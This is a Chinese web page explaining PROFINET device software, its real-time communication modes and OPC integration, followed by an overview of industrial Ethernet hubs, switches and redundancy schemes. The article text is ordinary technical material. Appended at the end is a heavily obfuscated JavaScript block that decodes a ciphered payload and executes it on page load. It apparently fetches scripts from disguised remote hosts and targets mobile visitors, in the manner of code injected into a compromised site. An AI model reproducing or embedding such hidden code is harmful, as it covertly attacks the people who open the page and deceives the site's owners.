推荐回答(1个)
PROFInet可以提供办公室和自动化领域开放的、一致的连接。PROFInet方案覆盖了分散自动化系统的所有运行阶段,它主要包含以下方面:⑴高度分散自动化系统的开放对象模型(结构模型);⑵基于Ethernet的开放的、面向对象的运行期通信方案(功能单元间的通信关系);⑶独立于制造商的工程设计方案(应用开发)。PROFInet方案可以用一条等式简单而明了地描述:PROFInet=Profibus+具有PROFIBUS和IT标准Ethernet的开放的、一致的通信。
1.1 PROFInet设备的软件结构
PROFInet设备的软件覆盖了现场设备的整个运行期通信,基于模块化设计的软件包含若干通信层,每层都与系统环境一致。PROFInet软件主要包括一个RPC(Remote Procedure Call)层,一个DCOM(Distributed Component Object Model)层和一个专门为PROFInet对象定义的层。PROFInet对象可以是ACCO(Active Connection Control Object)设备、RT auto(Runtime Automation)设备、物理设备或逻辑设备。软件中定义的实时数据通道提供PROFInet对象与以太网间的实时通信服务。PROFInet通过系统接口连接到操作系统(如WinCE),通过应用接口连接到控制器(如PLC)。
PROFInet的运行期软件位于一个目录固定的结构中,可以分为核心目录和系统应用目录。若通信开始而核心目录中的文件未改变,则系统应用目录中的部分文件必须重建。所有的系统应用都是指向系统接口和应用接口,实现PROFInet设备的各项功能。PROFInet设备的软件结构可以用图1描述如下:
PROFInet设备的软件结构决定了PROFInet设备可以从企业管理层到现场层直接、透明地访问,并且提供对TCP/IP协议的绝对支持。PROFInet技术使企业用户能够方便地对现有的系统进行扩展和集成,是一种优化的工业以太网通信标准。
1.2 PROFInet在现场设备上的移植
作为一种开放的资源,PROFInet软件通过移植到设备上的TCP/IP协议栈来完成在其他设备制造商的产品中快速而简单地实现。具体过程为:首先将开放资源的RPC接口连接到TCP/IP协议栈和设备操作系统中的系统集成;然后再将PROFInet协议栈的DCOM(Discrete Component Object Module)机制集成到设备的操作系统中;最后实现物理设备和逻辑设备对象、运行期对象和活动控制连接对象的设备专用的DCOM应用。为单个部件组装PROFInet设备时还必须用XML创建相应的描述。
一个PROFInet设备的XML文件中应包括下列数据:
⑴PROFInet设备的名称和ID号;
⑵PROFInet设备的IP地址,诊断数据的访问方式和设备连接方式;
⑶PROFInet设备的硬件分配,设备接口以及为各接口定义的变量、数据类型与格式;
⑷PROFInet设备在整个工程中的保存地址。PROFInet设备将它的所有功能封装到其软件中,并提供变量接口与其它的PROFInet设备相连。变量接口的每个变量都代表一个确定的子功能,包括运行、输入/输出使能、复位、结束、停机、启动和错误。一个PROFInet设备中封装的可以是一个控制器、一个执行器甚至是一个控制网络。图2所示的PROFInet设备中封装了一个Profibus-DP控制网络。
PROFInet设备之间通过DCOM模块进行通信。在PROFInet设备连接编辑器的图形界面中可以方便地实现各PROFInet设备间的连接。一个具有冲洗、灌装、封口和包装4个环节的饮料生产厂家的生产流程可以用4个PROFInet设备串连连接实现(见图3)。
所有设备的接口都在PROFInet中做了一致的定义,因此都能够灵活地组合和重新使用,用户不必考虑各设备的内部运行机制。此外,PROFInet还集成了故障安全通信标准行规PROFIsafe,满足对人员、设备和环境的全面安全的需求,可用于故障安全应用。 PROFInet设备通信功能的实现是基于传统的Ethernet通信机制(如TCP或UDP),同时又采用RPC和DCOM机制进行加强。DCOM可视为用于基于RPC分布式应用的COM技术的扩展,可以采用优化的实时通信机制应用于对实时性要求苛刻的应用领域。在运行期间,PROFInet设备以DCOM对象的形式映像,通过对象协议机制确保了DCOM对象的通信。COM对象作为PDU以DCOM协议定义的形式出现在通信总线上。通过DCOM布线协议DCOM定义了对象的标识和具有有关接口和参数的方法,这样就可以在通信总线上进行标准化的DCOM信息包的传输。对于更高层次上的通信,PROFInet可以采用集成OPC(OLE for Process Control)接口技术的方式。
2.1 PROFInet的基本通信方式
PROFInet根据不同的应用场合定义了三种不同的通信方式:使用TCP/IP的标准通信;实时RT(Real-time)通信和同步实时IRT通信。PROFInet设备能够根据通信要求选择合适的通信方式。
PROFInet使用以太网和TCP/IP协议作为通信基础,在任何场合下都提供对TCP/IP通信的绝对支持。由于绝大多数工厂自动化应用场合对实时响应时间要求较高,为了能够满足自动化中的实时要求,PROFInet中规定了基于以太网层2的优化实时通信通道,该方案极大地减少了通信栈上占用的时间,提高了自动化数据刷新方面的性能。PROFInet不仅最小化了可编程控制器中的通信栈,而且对网络中传输数据也进行了优化。采用PROFInet通信标准,系统对实时应用的响应时间可以缩短到5~10ms。PROFInet同时还支持高性能同步运动控制应用,在该应用场合PROFInet提供对100个节点响应时间低于1ms的同步实时(IRT)通信,该功能是由层2上内嵌的同步实时交换芯片ERTEC提供的。PROFInet的通信循环如图4所示。
在PROFInet设备的一个通信循环周期内,既包括IRT实时通信,又包括TCP/IP标准通信。PROFInet通信技术在很多应用场合都能体现出其极大的优越性。工程实践表明,在同步运动控制场合采用PROFInet提供的IRT通信,系统性能将比采用现场总线方案提升近100倍。
2.2 PROFInet与OPC的集成
由于PROFInet与OPC均采用了DCOM通讯机制,因此PROFInet通讯技术可以很容易地与OPC接口技术集成,以实现数据在更高通信层次上的交换。OPC接口设备在工控领域的应用十分广泛,OPC接口技术定义了OPC DA(Data Access)与OPC DX(Data Exchange)两个通信标准,分别应用于传输实时数据和实现异类控制网络间数据的交换。在PROFInet中集成OPC DX接口可以实现一个开放的连接至其他系统,集成机制如下:
⑴ 基于PROFInet的实时通信机制,每个PROFInet节点可以作为一个OPC服务器被寻址;
⑵ 每个OPC服务器可以通过标准接口而作为一个PROFInet节点被操作。PROFInet的功能性远比OPC优越,PROFInet技术与OPC接口技术的集成不仅可以实现自动化领域对实时通信的要求,还可以实现系统之间在更高层次上的交互。 PROFInet是一种优越的通信技术,并已成功地应用于分布式智能控制。PROFInet为分布式自动化系统结构的实现开辟了新的前景,可以实现全厂工程彻底模块化,包括机械部件、电气/电子部件和应用软件。PROFInet支持各种形式的网络结构,使接线费用最小化,并保证高度的可用性。此外,特别设计的工业电缆和耐用的连接器满足EMC和温度要求并形成标准,保证了不同制造设备之间的兼容性。
PROFInet不仅可以应用于分布式智能控制,而且还逐渐进入到过程自动化领域。在过程自动化领域,PROFInet针对工业以太网总线供电以及以太网本质在安全领域应用的问题正在形成标准或解决方案,采用PROFInet集成的Profibus现场总线可以为过程自动化工业提供优越的解决方案(如图5所示):
采用PROFInet通讯技术,不仅可以集成Profibus现场设备,还可以通过代理服务器(Proxy)实现其它种类的现场总线网络的集成。采用这种统一的面对未来的设计概念,工厂内各部件都可以作为独立模块预先组装测试,然后在整个系统中轻松组装或在其他项目中重复使用。譬如对于一个汽车生产企业而言,PROFInet支持的实时解决方案完全可以满足车体车间、喷漆车间和组装部门等对响应时间的要求,在机械工程及发动机和变速箱生产环节中的车床同步等方面则可使用PROFInet的同步实时功能。
选择正确的工业以太网要考虑哪些因素?简单的来说,要从工业以太网通讯协议、电源、通信速率、工业环境认证考虑、安装方式、外壳对散热的影响、简单通信功能和通信管理功能、电口或光口的考虑。信号强弱、端口设置、出错报警、串口使用、主干(TrunkingTM)冗余、环网冗余、服务质量(QoS)、虚拟局域网(VLAN)、简单网络管理协议(SNMP)、端口镜像等等其他工业以太网管理交换机中可以提供的功能。
从快速生成树冗余(RSTP)、环网冗余(RapidRingTM)到主干冗余(TrunkingTM),
工业以太网设备包括以下几个重要部分。
工业以太网集线器
工业以太网非管理型交换机
工业以太网管理型交换机
工业以太网管理型冗余交换机
高级的管理型冗余交换机提供了一些特殊的功能,特别是针对有稳定性、安全性方面严格要求的冗余系统进行了设计上的优化。构建冗余网络的主要方式主要有以下几种,STP、RSTP;环网冗余RapidRingTM以及Trunking。
1工业以太网 STP及RSTP
STP(Spanning Tree Protocol,生成树算法,IEEE 802.1D),是一个链路层协议,提供路径冗余和阻止网络循环发生。它强令备用数据路径为阻塞(blocked)状态。如果一条路径有故障,该拓扑结构能借助激活备用路径重新配置及链路重构。网络中断恢复时间为30-60s之间。RSTP(快速生成树算法,IEEE 802.1w)作为STP的升级,将网络中断恢复时间,缩短到1-2s。生成树算法网络结构灵活,但也存在恢复速度慢的缺点。
2 工业以太网环网冗余
为了能满足工控网络实时性强的特点,RapidRing孕育而生。这是在工业以太网网络中使用环网提供高速冗余的一种技术。这个技术可以使网络在中断后300ms之内自行恢复。并可以通过工业以太网交换机的出错继电连接、状态显示灯和SNMP设置等方法来提醒用户出现的断网现象。这些都可以帮助诊断环网什么地方出现断开。
RapidRingTM也支持两个连接在一起的环网,使网络拓朴更为灵活多样。两个环通过双通道连接,这些连接可以是冗余的,避免单个线缆出错带来的问题。
3 工业以太网主干冗余
将不同交换机的多个端口设置为Trunking主干端口,并建立连接,则这些工业以太网交换机之间可以形成一个高速的骨干链接。不但成倍的提高了骨干链接的网络带宽,增强了网络吞吐量,而且还还提供了另外一个功能,即冗余功能。如果网络中的骨干链接产生断线等问题,那么网络中的数据会通过剩下的链接进行传递,保证网络的通讯正常。Trunking主干网络采用总线型和星型网络结构,理论通讯距离可以无限延长。该技术由于采用了硬件侦测及数据平衡的方法,所以使网络中断恢复时间达到了新的高度,一般恢复时间在10ms以下。 集线器
相信绝大多数人都熟悉集线器。很多人使用这种简易设备去连接各种基于以太网的设备,如个人计算机,可编程控制器等。集线器接收到来自某一端口的消息,再将消息广播到其它所有的端口。对来自任一端口的每一条消息,集线器都会把它传递到其它的各个端口。在消息传递方面,集线器是低速低效的,可能会出现消息冲突。然而,集线器的使用非常简单-实际上可以即插即用。集线器没有任何华而不实的功能,也没有冗余功能。
交换机
管理型
以太网连接设备发展的下一代产品是管理型交换机。相对集线器和非管理型交换机,管理型交换机拥有更多更复杂的功能,价格也高出许多-通常是一台非管理型交换机的3~4倍。管理型交换机提供了更多的功能,通常可以通过基于网络的接口实现完全配置。它可以自动与网络设备交互,用户也可以手动配置每个端口的网速和流量控制。一些老设备可能无法使用自动交互功能,因此手动配置功能是必不可缺的。
绝大多数管理型交换机通常也提供一些高级功能,如用于远程监视和配置的SNMP(简单网络管理协议),用于诊断的端口映射,用于网络设备成组的VLAN(虚拟局域网),用于确保优先级消息通过的优先级排列功能等。利用管理型交换机,可以组建冗余网络。使用环形拓扑结构,管理型交换机可以组成环形网络。每台管理型交换机能自动判断最优传输路径和备用路径,当优先路径中断时自动阻断(block)备用路径。
非管理型
集线器的发展产生了一种叫非管理型交换机的设备。它能实现消息从一个端口到另一个端口的路由功能,相对集线器更加智能化。非管理型交换机能自动探测每台网络设备的网络速度。另外,它具有一种称为“MAC地址表”的功能,能识别和记忆网络中的设备。换言之,如果端口2收到一条带有特定识别码的消息,此后交换机就会将所有具有那种特定识别码的消息发送到端口2。这种智能避免了消息冲突,提高了传输性能,相对集线器是一次巨大的改进。然而,非管理型交换机不能实现任何形式的通信检测和冗余配置功能。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();